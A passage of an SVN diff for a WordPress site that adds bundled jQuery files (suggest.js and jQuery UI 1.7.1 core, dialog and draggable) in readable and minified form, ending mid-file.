+				html += '<li>' + items[i] + '</li>';
+
+			$results.html(html).show();
+
+			$results
+				.children('li')
+				.mouseover(function() {
+					$results.children('li').removeClass(options.selectClass);
+					$(this).addClass(options.selectClass);
+				})
+				.click(function(e) {
+					e.preventDefault();
+					e.stopPropagation();
+					selectCurrentResult();
+				});
+
+		}
+
+		function parseTxt(txt, q) {
+
+			var items = [], tokens = txt.split(options.delimiter), i, token;
+
+			// parse returned data for non-empty items
+			for (i = 0; i < tokens.length; i++) {
+				token = $.trim(tokens[i]);
+				if (token) {
+					token = token.replace(
+						new RegExp(q, 'ig'),
+						function(q) { return '<span class="' + options.matchClass + '">' + q + '</span>' }
+						);
+					items[items.length] = token;
+				}
+			}
+
+			return items;
+		}
+
+		function getCurrentResult() {
+			var $currentResult;
+			if (!$results.is(':visible'))
+				return false;
+
+			$currentResult = $results.children('li.' + options.selectClass);
+
+			if (!$currentResult.length)
+				$currentResult = false;
+
+			return $currentResult;
+
+		}
+
+		function selectCurrentResult() {
+
+			$currentResult = getCurrentResult();
+
+			if ($currentResult) {
+				if ( options.multiple ) {
+					if ( $input.val().indexOf(options.multipleSep) != -1 ) {
+						$currentVal = $input.val().substr( 0, ( $input.val().lastIndexOf(options.multipleSep) + options.multipleSep.length ) );
+					} else {
+						$currentVal = "";
+					}
+					$input.val( $currentVal + $currentResult.text() + options.multipleSep);
+					$input.focus();
+				} else {
+					$input.val($currentResult.text());
+				}
+				$results.hide();
+
+				if (options.onSelect)
+					options.onSelect.apply($input[0]);
+
+			}
+
+		}
+
+		function nextResult() {
+
+			$currentResult = getCurrentResult();
+
+			if ($currentResult)
+				$currentResult
+					.removeClass(options.selectClass)
+					.next()
+						.addClass(options.selectClass);
+			else
+				$results.children('li:first-child').addClass(options.selectClass);
+
+		}
+
+		function prevResult() {
+			var $currentResult = getCurrentResult();
+
+			if ($currentResult)
+				$currentResult
+					.removeClass(options.selectClass)
+					.prev()
+						.addClass(options.selectClass);
+			else
+				$results.children('li:last-child').addClass(options.selectClass);
+
+		}
+	}
+
+	$.fn.suggest = function(source, options) {
+
+		if (!source)
+			return;
+
+		options = options || {};
+		options.multiple = options.multiple || false;
+		options.multipleSep = options.multipleSep || ", ";
+		options.source = source;
+		options.delay = options.delay || 100;
+		options.resultsClass = options.resultsClass || 'ac_results';
+		options.selectClass = options.selectClass || 'ac_over';
+		options.matchClass = options.matchClass || 'ac_match';
+		options.minchars = options.minchars || 2;
+		options.delimiter = options.delimiter || '\n';
+		options.onSelect = options.onSelect || false;
+		options.maxCacheSize = options.maxCacheSize || 65536;
+
+		this.each(function() {
+			new $.suggest(this, options);
+		});
+
+		return this;
+
+	};
+
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/suggest.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/suggest.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/suggest.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(a){a.suggest=function(o,g){var c,f,n,d,q,p;c=a(o).attr("autocomplete","off");f=a(document.createElement("ul"));n=false;d=0;q=[];p=0;f.addClass(g.resultsClass).appendTo("body");j();a(window).load(j).resize(j);c.blur(function(){setTimeout(function(){f.hide()},200)});if(a.browser.msie){try{f.bgiframe()}catch(s){}}if(a.browser.mozilla){c.keypress(m)}else{c.keydown(m)}function j(){var e=c.offset();f.css({top:(e.top+o.offsetHeight)+"px",left:e.left+"px"})}function m(w){if((/27$|38$|40$/.test(w.keyCode)&&f.is(":visible"))||(/^13$|^9$/.test(w.keyCode)&&u())){if(w.preventDefault){w.preventDefault()}if(w.stopPropagation){w.stopPropagation()}w.cancelBubble=true;w.returnValue=false;switch(w.keyCode){case 38:k();break;case 40:t();break;case 9:case 13:r();break;case 27:f.hide();break}}else{if(c.val().length!=d){if(n){clearTimeout(n)}n=setTimeout(l,g.delay);d=c.val().length}}}function l(){var x=a.trim(c.val()),w,e;if(g.multiple){w=x.lastIndexOf(g.multipleSep);if(w!=-1){x=x.substr(w+g.multipleSep.length)}}if(x.length>=g.minchars){cached=v(x);if(cached){i(cached.items)}else{a.get(g.source,{q:x},function(y){f.hide();e=b(y,x);i(e);h(x,e,y.length)})}}else{f.hide()}}function v(w){var e;for(e=0;e<q.length;e++){if(q[e]["q"]==w){q.unshift(q.splice(e,1)[0]);return q[0]}}return false}function h(y,e,w){var x;while(q.length&&(p+w>g.maxCacheSize)){x=q.pop();p-=x.size}q.push({q:y,size:w,items:e});p+=w}function i(e){var x="",w;if(!e){return}if(!e.length){f.hide();return}j();for(w=0;w<e.length;w++){x+="<li>"+e[w]+"</li>"}f.html(x).show();f.children("li").mouseover(function(){f.children("li").removeClass(g.selectClass);a(this).addClass(g.selectClass)}).click(function(y){y.preventDefault();y.stopPropagation();r()})}function b(e,z){var w=[],A=e.split(g.delimiter),y,x;for(y=0;y<A.length;y++){x=a.trim(A[y]);if(x){x=x.replace(new RegExp(z,"ig"),function(B){return'<span class="'+g.matchClass+'">'+B+"</span>"});w[w.length]=x}}return w}function u(){var e;if(!f.is(":visible")){return false}e=f.children("li."+g.selectClass);if(!e.length){e=false}return e}function r(){$currentResult=u();if($currentResult){if(g.multiple){if(c.val().indexOf(g.multipleSep)!=-1){$currentVal=c.val().substr(0,(c.val().lastIndexOf(g.multipleSep)+g.multipleSep.length))}else{$currentVal=""}c.val($currentVal+$currentResult.text()+g.multipleSep);c.focus()}else{c.val($currentResult.text())}f.hide();if(g.onSelect){g.onSelect.apply(c[0])}}}function t(){$currentResult=u();if($currentResult){$currentResult.removeClass(g.selectClass).next().addClass(g.selectClass)}else{f.children("li:first-child").addClass(g.selectClass)}}function k(){var e=u();if(e){e.removeClass(g.selectClass).prev().addClass(g.selectClass)}else{f.children("li:last-child").addClass(g.selectClass)}}};a.fn.suggest=function(c,b){if(!c){return}b=b||{};b.multiple=b.multiple||false;b.multipleSep=b.multipleSep||", ";b.source=c;b.delay=b.delay||100;b.resultsClass=b.resultsClass||"ac_results";b.selectClass=b.selectClass||"ac_over";b.matchClass=b.matchClass||"ac_match";b.minchars=b.minchars||2;b.delimiter=b.delimiter||"\n";b.onSelect=b.onSelect||false;b.maxCacheSize=b.maxCacheSize||65536;this.each(function(){new a.suggest(this,b)});return this}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.core.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.core.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.core.js	(revision 44)
@@ -0,0 +1,10 @@
+/*
+ * jQuery UI 1.7.1
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI
+ */
+jQuery.ui||(function(c){var i=c.fn.remove,d=c.browser.mozilla&&(parseFloat(c.browser.version)<1.9);c.ui={version:"1.7.1",plugin:{add:function(k,l,n){var m=c.ui[k].prototype;for(var j in n){m.plugins[j]=m.plugins[j]||[];m.plugins[j].push([l,n[j]])}},call:function(j,l,k){var n=j.plugins[l];if(!n||!j.element[0].parentNode){return}for(var m=0;m<n.length;m++){if(j.options[n[m][0]]){n[m][1].apply(j.element,k)}}}},contains:function(k,j){return document.compareDocumentPosition?k.compareDocumentPosition(j)&16:k!==j&&k.contains(j)},hasScroll:function(m,k){if(c(m).css("overflow")=="hidden"){return false}var j=(k&&k=="left")?"scrollLeft":"scrollTop",l=false;if(m[j]>0){return true}m[j]=1;l=(m[j]>0);m[j]=0;return l},isOverAxis:function(k,j,l){return(k>j)&&(k<(j+l))},isOver:function(o,k,n,m,j,l){return c.ui.isOverAxis(o,n,j)&&c.ui.isOverAxis(k,m,l)},keyCode:{BACKSPACE:8,CAPS_LOCK:20,COMMA:188,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38}};if(d){var f=c.attr,e=c.fn.removeAttr,h="http://www.w3.org/2005/07/aaa",a=/^aria-/,b=/^wairole:/;c.attr=function(k,j,l){var m=l!==undefined;return(j=="role"?(m?f.call(this,k,j,"wairole:"+l):(f.apply(this,arguments)||"").replace(b,"")):(a.test(j)?(m?k.setAttributeNS(h,j.replace(a,"aaa:"),l):f.call(this,k,j.replace(a,"aaa:"))):f.apply(this,arguments)))};c.fn.removeAttr=function(j){return(a.test(j)?this.each(function(){this.removeAttributeNS(h,j.replace(a,""))}):e.call(this,j))}}c.fn.extend({remove:function(){c("*",this).add(this).each(function(){c(this).triggerHandler("remove")});return i.apply(this,arguments)},enableSelection:function(){return this.attr("unselectable","off").css("MozUserSelect","").unbind("selectstart.ui")},disableSelection:function(){return this.attr("unselectable","on").css("MozUserSelect","none").bind("selectstart.ui",function(){return false})},scrollParent:function(){var j;if((c.browser.msie&&(/(static|relative)/).test(this.css("position")))||(/absolute/).test(this.css("position"))){j=this.parents().filter(function(){return(/(relative|absolute|fixed)/).test(c.curCSS(this,"position",1))&&(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}else{j=this.parents().filter(function(){return(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}return(/fixed/).test(this.css("position"))||!j.length?c(document):j}});c.extend(c.expr[":"],{data:function(l,k,j){return !!c.data(l,j[3])},focusable:function(k){var l=k.nodeName.toLowerCase(),j=c.attr(k,"tabindex");return(/input|select|textarea|button|object/.test(l)?!k.disabled:"a"==l||"area"==l?k.href||!isNaN(j):!isNaN(j))&&!c(k)["area"==l?"parents":"closest"](":hidden").length},tabbable:function(k){var j=c.attr(k,"tabindex");return(isNaN(j)||j>=0)&&c(k).is(":focusable")}});function g(m,n,o,l){function k(q){var p=c[m][n][q]||[];return(typeof p=="string"?p.split(/,?\s+/):p)}var j=k("getter");if(l.length==1&&typeof l[0]=="string"){j=j.concat(k("getterSetter"))}return(c.inArray(o,j)!=-1)}c.widget=function(k,j){var l=k.split(".")[0];k=k.split(".")[1];c.fn[k]=function(p){var n=(typeof p=="string"),o=Array.prototype.slice.call(arguments,1);if(n&&p.substring(0,1)=="_"){return this}if(n&&g(l,k,p,o)){var m=c.data(this[0],k);return(m?m[p].apply(m,o):undefined)}return this.each(function(){var q=c.data(this,k);(!q&&!n&&c.data(this,k,new c[l][k](this,p))._init());(q&&n&&c.isFunction(q[p])&&q[p].apply(q,o))})};c[l]=c[l]||{};c[l][k]=function(o,n){var m=this;this.namespace=l;this.widgetName=k;this.widgetEventPrefix=c[l][k].eventPrefix||k;this.widgetBaseClass=l+"-"+k;this.options=c.extend({},c.widget.defaults,c[l][k].defaults,c.metadata&&c.metadata.get(o)[k],n);this.element=c(o).bind("setData."+k,function(q,p,r){if(q.target==o){return m._setData(p,r)}}).bind("getData."+k,function(q,p){if(q.target==o){return m._getData(p)}}).bind("remove",function(){return m.destroy()})};c[l][k].prototype=c.extend({},c.widget.prototype,j);c[l][k].getterSetter="option"};c.widget.prototype={_init:function(){},destroy:function(){this.element.removeData(this.widgetName).removeClass(this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").removeAttr("aria-disabled")},option:function(l,m){var k=l,j=this;if(typeof l=="string"){if(m===undefined){return this._getData(l)}k={};k[l]=m}c.each(k,function(n,o){j._setData(n,o)})},_getData:function(j){return this.options[j]},_setData:function(j,k){this.options[j]=k;if(j=="disabled"){this.element[k?"addClass":"removeClass"](this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").attr("aria-disabled",k)}},enable:function(){this._setData("disabled",false)},disable:function(){this._setData("disabled",true)},_trigger:function(l,m,n){var p=this.options[l],j=(l==this.widgetEventPrefix?l:this.widgetEventPrefix+l);m=c.Event(m);m.type=j;if(m.originalEvent){for(var k=c.event.props.length,o;k;){o=c.event.props[--k];m[o]=m.originalEvent[o]}}this.element.trigger(m,n);return !(c.isFunction(p)&&p.call(this.element[0],m,n)===false||m.isDefaultPrevented())}};c.widget.defaults={disabled:false};c.ui.mouse={_mouseInit:function(){var j=this;this.element.bind("mousedown."+this.widgetName,function(k){return j._mouseDown(k)}).bind("click."+this.widgetName,function(k){if(j._preventClickEvent){j._preventClickEvent=false;k.stopImmediatePropagation();return false}});if(c.browser.msie){this._mouseUnselectable=this.element.attr("unselectable");this.element.attr("unselectable","on")}this.started=false},_mouseDestroy:function(){this.element.unbind("."+this.widgetName);(c.browser.msie&&this.element.attr("unselectable",this._mouseUnselectable))},_mouseDown:function(l){l.originalEvent=l.originalEvent||{};if(l.originalEvent.mouseHandled){return}(this._mouseStarted&&this._mouseUp(l));this._mouseDownEvent=l;var k=this,m=(l.which==1),j=(typeof this.options.cancel=="string"?c(l.target).parents().add(l.target).filter(this.options.cancel).length:false);if(!m||j||!this._mouseCapture(l)){return true}this.mouseDelayMet=!this.options.delay;if(!this.mouseDelayMet){this._mouseDelayTimer=setTimeout(function(){k.mouseDelayMet=true},this.options.delay)}if(this._mouseDistanceMet(l)&&this._mouseDelayMet(l)){this._mouseStarted=(this._mouseStart(l)!==false);if(!this._mouseStarted){l.preventDefault();return true}}this._mouseMoveDelegate=function(n){return k._mouseMove(n)};this._mouseUpDelegate=function(n){return k._mouseUp(n)};c(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate);(c.browser.safari||l.preventDefault());l.originalEvent.mouseHandled=true;return true},_mouseMove:function(j){if(c.browser.msie&&!j.button){return this._mouseUp(j)}if(this._mouseStarted){this._mouseDrag(j);return j.preventDefault()}if(this._mouseDistanceMet(j)&&this._mouseDelayMet(j)){this._mouseStarted=(this._mouseStart(this._mouseDownEvent,j)!==false);(this._mouseStarted?this._mouseDrag(j):this._mouseUp(j))}return !this._mouseStarted},_mouseUp:function(j){c(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;this._preventClickEvent=(j.target==this._mouseDownEvent.target);this._mouseStop(j)}return false},_mouseDistanceMet:function(j){return(Math.max(Math.abs(this._mouseDownEvent.pageX-j.pageX),Math.abs(this._mouseDownEvent.pageY-j.pageY))>=this.options.distance)},_mouseDelayMet:function(j){return this.mouseDelayMet},_mouseStart:function(j){},_mouseDrag:function(j){},_mouseStop:function(j){},_mouseCapture:function(j){return true}};c.ui.mouse.defaults={cancel:null,distance:1,delay:0}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.dialog.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.dialog.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.dialog.js	(revision 44)
@@ -0,0 +1,15 @@
+/*
+ * jQuery UI Dialog 1.7.1
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Dialog
+ *
+ * Depends:
+ *	ui.core.js
+ *	ui.draggable.js
+ *	ui.resizable.js
+ */
+(function(c){var b={dragStart:"start.draggable",drag:"drag.draggable",dragStop:"stop.draggable",maxHeight:"maxHeight.resizable",minHeight:"minHeight.resizable",maxWidth:"maxWidth.resizable",minWidth:"minWidth.resizable",resizeStart:"start.resizable",resize:"drag.resizable",resizeStop:"stop.resizable"},a="ui-dialog ui-widget ui-widget-content ui-corner-all ";c.widget("ui.dialog",{_init:function(){this.originalTitle=this.element.attr("title");var l=this,m=this.options,j=m.title||this.originalTitle||"&nbsp;",e=c.ui.dialog.getTitleId(this.element),k=(this.uiDialog=c("<div/>")).appendTo(document.body).hide().addClass(a+m.dialogClass).css({position:"absolute",overflow:"hidden",zIndex:m.zIndex}).attr("tabIndex",-1).css("outline",0).keydown(function(n){(m.closeOnEscape&&n.keyCode&&n.keyCode==c.ui.keyCode.ESCAPE&&l.close(n))}).attr({role:"dialog","aria-labelledby":e}).mousedown(function(n){l.moveToTop(false,n)}),g=this.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(k),f=(this.uiDialogTitlebar=c("<div></div>")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(k),i=c('<a href="#"/>').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role","button").hover(function(){i.addClass("ui-state-hover")},function(){i.removeClass("ui-state-hover")}).focus(function(){i.addClass("ui-state-focus")}).blur(function(){i.removeClass("ui-state-focus")}).mousedown(function(n){n.stopPropagation()}).click(function(n){l.close(n);return false}).appendTo(f),h=(this.uiDialogTitlebarCloseText=c("<span/>")).addClass("ui-icon ui-icon-closethick").text(m.closeText).appendTo(i),d=c("<span/>").addClass("ui-dialog-title").attr("id",e).html(j).prependTo(f);f.find("*").add(f).disableSelection();(m.draggable&&c.fn.draggable&&this._makeDraggable());(m.resizable&&c.fn.resizable&&this._makeResizable());this._createButtons(m.buttons);this._isOpen=false;(m.bgiframe&&c.fn.bgiframe&&k.bgiframe());(m.autoOpen&&this.open())},destroy:function(){(this.overlay&&this.overlay.destroy());this.uiDialog.hide();this.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body");this.uiDialog.remove();(this.originalTitle&&this.element.attr("title",this.originalTitle))},close:function(e){var d=this;if(false===d._trigger("beforeclose",e)){return}(d.overlay&&d.overlay.destroy());d.uiDialog.unbind("keypress.ui-dialog");(d.options.hide?d.uiDialog.hide(d.options.hide,function(){d._trigger("close",e)}):d.uiDialog.hide()&&d._trigger("close",e));c.ui.dialog.overlay.resize();d._isOpen=false},isOpen:function(){return this._isOpen},moveToTop:function(f,e){if((this.options.modal&&!f)||(!this.options.stack&&!this.options.modal)){return this._trigger("focus",e)}if(this.options.zIndex>c.ui.dialog.maxZ){c.ui.dialog.maxZ=this.options.zIndex}(this.overlay&&this.overlay.$el.css("z-index",c.ui.dialog.overlay.maxZ=++c.ui.dialog.maxZ));var d={scrollTop:this.element.attr("scrollTop"),scrollLeft:this.element.attr("scrollLeft")};this.uiDialog.css("z-index",++c.ui.dialog.maxZ);this.element.attr(d);this._trigger("focus",e)},open:function(){if(this._isOpen){return}var e=this.options,d=this.uiDialog;this.overlay=e.modal?new c.ui.dialog.overlay(this):null;(d.next().length&&d.appendTo("body"));this._size();this._position(e.position);d.show(e.show);this.moveToTop(true);(e.modal&&d.bind("keypress.ui-dialog",function(h){if(h.keyCode!=c.ui.keyCode.TAB){return}var g=c(":tabbable",this),i=g.filter(":first")[0],f=g.filter(":last")[0];if(h.target==f&&!h.shiftKey){setTimeout(function(){i.focus()},1)}else{if(h.target==i&&h.shiftKey){setTimeout(function(){f.focus()},1)}}}));c([]).add(d.find(".ui-dialog-content :tabbable:first")).add(d.find(".ui-dialog-buttonpane :tabbable:first")).add(d).filter(":first").focus();this._trigger("open");this._isOpen=true},_createButtons:function(g){var f=this,d=false,e=c("<div></div>").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix");this.uiDialog.find(".ui-dialog-buttonpane").remove();(typeof g=="object"&&g!==null&&c.each(g,function(){return !(d=true)}));if(d){c.each(g,function(h,i){c('<button type="button"></button>').addClass("ui-state-default ui-corner-all").text(h).click(function(){i.apply(f.element[0],arguments)}).hover(function(){c(this).addClass("ui-state-hover")},function(){c(this).removeClass("ui-state-hover")}).focus(function(){c(this).addClass("ui-state-focus")}).blur(function(){c(this).removeClass("ui-state-focus")}).appendTo(e)});e.appendTo(this.uiDialog)}},_makeDraggable:function(){var d=this,f=this.options,e;this.uiDialog.draggable({cancel:".ui-dialog-content",handle:".ui-dialog-titlebar",containment:"document",start:function(){e=f.height;c(this).height(c(this).height()).addClass("ui-dialog-dragging");(f.dragStart&&f.dragStart.apply(d.element[0],arguments))},drag:function(){(f.drag&&f.drag.apply(d.element[0],arguments))},stop:function(){c(this).removeClass("ui-dialog-dragging").height(e);(f.dragStop&&f.dragStop.apply(d.element[0],arguments));c.ui.dialog.overlay.resize()}})},_makeResizable:function(g){g=(g===undefined?this.options.resizable:g);var d=this,f=this.options,e=typeof g=="string"?g:"n,e,s,w,se,sw,ne,nw";this.uiDialog.resizable({cancel:".ui-dialog-content",alsoResize:this.element,maxWidth:f.maxWidth,maxHeight:f.maxHeight,minWidth:f.minWidth,minHeight:f.minHeight,start:function(){c(this).addClass("ui-dialog-resizing");(f.resizeStart&&f.resizeStart.apply(d.element[0],arguments))},resize:function(){(f.resize&&f.resize.apply(d.element[0],arguments))},handles:e,stop:function(){c(this).removeClass("ui-dialog-resizing");f.height=c(this).height();f.width=c(this).width();(f.resizeStop&&f.resizeStop.apply(d.element[0],arguments));c.ui.dialog.overlay.resize()}}).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_position:function(i){var e=c(window),f=c(document),g=f.scrollTop(),d=f.scrollLeft(),h=g;if(c.inArray(i,["center","top","right","bottom","left"])>=0){i=[i=="right"||i=="left"?i:"center",i=="top"||i=="bottom"?i:"middle"]}if(i.constructor!=Array){i=["center","middle"]}if(i[0].constructor==Number){d+=i[0]}else{switch(i[0]){case"left":d+=0;break;case"right":d+=e.width()-this.uiDialog.outerWidth();break;default:case"center":d+=(e.width()-this.uiDialog.outerWidth())/2}}if(i[1].constructor==Number){g+=i[1]}else{switch(i[1]){case"top":g+=0;break;case"bottom":g+=e.height()-this.uiDialog.outerHeight();break;default:case"middle":g+=(e.height()-this.uiDialog.outerHeight())/2}}g=Math.max(g,h);this.uiDialog.css({top:g,left:d})},_setData:function(e,f){(b[e]&&this.uiDialog.data(b[e],f));switch(e){case"buttons":this._createButtons(f);break;case"closeText":this.uiDialogTitlebarCloseText.text(f);break;case"dialogClass":this.uiDialog.removeClass(this.options.dialogClass).addClass(a+f);break;case"draggable":(f?this._makeDraggable():this.uiDialog.draggable("destroy"));break;case"height":this.uiDialog.height(f);break;case"position":this._position(f);break;case"resizable":var d=this.uiDialog,g=this.uiDialog.is(":data(resizable)");(g&&!f&&d.resizable("destroy"));(g&&typeof f=="string"&&d.resizable("option","handles",f));(g||this._makeResizable(f));break;case"title":c(".ui-dialog-title",this.uiDialogTitlebar).html(f||"&nbsp;");break;case"width":this.uiDialog.width(f);break}c.widget.prototype._setData.apply(this,arguments)},_size:function(){var e=this.options;this.element.css({height:0,minHeight:0,width:"auto"});var d=this.uiDialog.css({height:"auto",width:e.width}).height();this.element.css({minHeight:Math.max(e.minHeight-d,0),height:e.height=="auto"?"auto":Math.max(e.height-d,0)})}});c.extend(c.ui.dialog,{version:"1.7.1",defaults:{autoOpen:true,bgiframe:false,buttons:{},closeOnEscape:true,closeText:"close",dialogClass:"",draggable:true,hide:null,height:"auto",maxHeight:false,maxWidth:false,minHeight:150,minWidth:150,modal:false,position:"center",resizable:true,show:null,stack:true,title:"",width:300,zIndex:1000},getter:"isOpen",uuid:0,maxZ:0,getTitleId:function(d){return"ui-dialog-title-"+(d.attr("id")||++this.uuid)},overlay:function(d){this.$el=c.ui.dialog.overlay.create(d)}});c.extend(c.ui.dialog.overlay,{instances:[],maxZ:0,events:c.map("focus,mousedown,mouseup,keydown,keypress,click".split(","),function(d){return d+".dialog-overlay"}).join(" "),create:function(e){if(this.instances.length===0){setTimeout(function(){c(document).bind(c.ui.dialog.overlay.events,function(f){var g=c(f.target).parents(".ui-dialog").css("zIndex")||0;return(g>c.ui.dialog.overlay.maxZ)})},1);c(document).bind("keydown.dialog-overlay",function(f){(e.options.closeOnEscape&&f.keyCode&&f.keyCode==c.ui.keyCode.ESCAPE&&e.close(f))});c(window).bind("resize.dialog-overlay",c.ui.dialog.overlay.resize)}var d=c("<div></div>").appendTo(document.body).addClass("ui-widget-overlay").css({width:this.width(),height:this.height()});(e.options.bgiframe&&c.fn.bgiframe&&d.bgiframe());this.instances.push(d);return d},destroy:function(d){this.instances.splice(c.inArray(this.instances,d),1);if(this.instances.length===0){c([document,window]).unbind(".dialog-overlay")}d.remove()},height:function(){if(c.browser.msie&&c.browser.version<7){var e=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight);var d=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);if(e<d){return c(window).height()+"px"}else{return e+"px"}}else{return c(document).height()+"px"}},width:function(){if(c.browser.msie&&c.browser.version<7){var d=Math.max(document.documentElement.scrollWidth,document.body.scrollWidth);var e=Math.max(document.documentElement.offsetWidth,document.body.offsetWidth);if(d<e){return c(window).width()+"px"}else{return d+"px"}}else{return c(document).width()+"px"}},resize:function(){var d=c([]);c.each(c.ui.dialog.overlay.instances,function(){d=d.add(this)});d.css({width:0,height:0}).css({width:c.ui.dialog.overlay.width(),height:c.ui.dialog.overlay.height()})}});c.extend(c.ui.dialog.overlay.prototype,{destroy:function(){c.ui.dialog.overlay.destroy(this.$el)}})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.draggable.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.draggable.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/ui.draggable.js	(revision 44)
@@ -0,0 +1,13 @@
+/*
+ * jQuery UI Draggable 1.7.1
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Draggables
+ *
+ * Depends:
+ *	ui.core.js
+ */
+(function(a){a.widget("ui.draggable",a.extend({},a.ui.mouse,{_init:function(){if(this.options.helper=="original"&&!(/^(?:r|a|f)/).test(this.element.css("position"))){this.element[0].style.position="relative"}(this.options.addClasses&&this.element.addClass("ui-draggable"));(this.options.disabled&&this.element.addClass("ui-draggable-disabled"));this._mouseInit()},destroy:function(){if(!this.element.data("draggable")){return}this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy()},_mouseCapture:function(b){var c=this.options;if(this.helper||c.disabled||a(b.target).is(".ui-resizable-handle")){return false}this.handle=this._getHandle(b);if(!this.handle){return false}return true},_mouseStart:function(b){var c=this.options;this.helper=this._createHelper(b);this._cacheHelperProportions();if(a.ui.ddmanager){a.ui.ddmanager.current=this}this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.element.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};a.extend(this.offset,{click:{left:b.pageX-this.offset.left,top:b.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(b);this.originalPageX=b.pageX;this.originalPageY=b.pageY;if(c.cursorAt){this._adjustOffsetFromHelper(c.cursorAt)}if(c.containment){this._setContainment()}this._trigger("start",b);this._cacheHelperProportions();if(a.ui.ddmanager&&!c.dropBehaviour){a.ui.ddmanager.prepareOffsets(this,b)}this.helper.addClass("ui-draggable-dragging");this._mouseDrag(b,true);return true},_mouseDrag:function(b,d){this.position=this._generatePosition(b);this.positionAbs=this._convertPositionTo("absolute");if(!d){var c=this._uiHash();this._trigger("drag",b,c);this.position=c.position}if(!this.options.axis||this.options.axis!="y"){this.helper[0].style.left=this.position.left+"px"}if(!this.options.axis||this.options.axis!="x"){this.helper[0].style.top=this.position.top+"px"}if(a.ui.ddmanager){a.ui.ddmanager.drag(this,b)}return false},_mouseStop:function(c){var d=false;if(a.ui.ddmanager&&!this.options.dropBehaviour){d=a.ui.ddmanager.drop(this,c)}if(this.dropped){d=this.dropped;this.dropped=false}if((this.options.revert=="invalid"&&!d)||(this.options.revert=="valid"&&d)||this.options.revert===true||(a.isFunction(this.options.revert)&&this.options.revert.call(this.element,d))){var b=this;a(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){b._trigger("stop",c);b._clear()})}else{this._trigger("stop",c);this._clear()}return false},_getHandle:function(b){var c=!this.options.handle||!a(this.options.handle,this.element).length?true:false;a(this.options.handle,this.element).find("*").andSelf().each(function(){if(this==b.target){c=true}});return c},_createHelper:function(c){var d=this.options;var b=a.isFunction(d.helper)?a(d.helper.apply(this.element[0],[c])):(d.helper=="clone"?this.element.clone():this.element);if(!b.parents("body").length){b.appendTo((d.appendTo=="parent"?this.element[0].parentNode:d.appendTo))}if(b[0]!=this.element[0]&&!(/(fixed|absolute)/).test(b.css("position"))){b.css("position","absolute")}return b},_adjustOffsetFromHelper:function(b){if(b.left!=undefined){this.offset.click.left=b.left+this.margins.left}if(b.right!=undefined){this.offset.click.left=this.helperProportions.width-b.right+this.margins.left}if(b.top!=undefined){this.offset.click.top=b.top+this.margins.top}if(b.bottom!=undefined){this.offset.click.top=this.helperProportions.height-b.bottom+this.margins.top}},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var 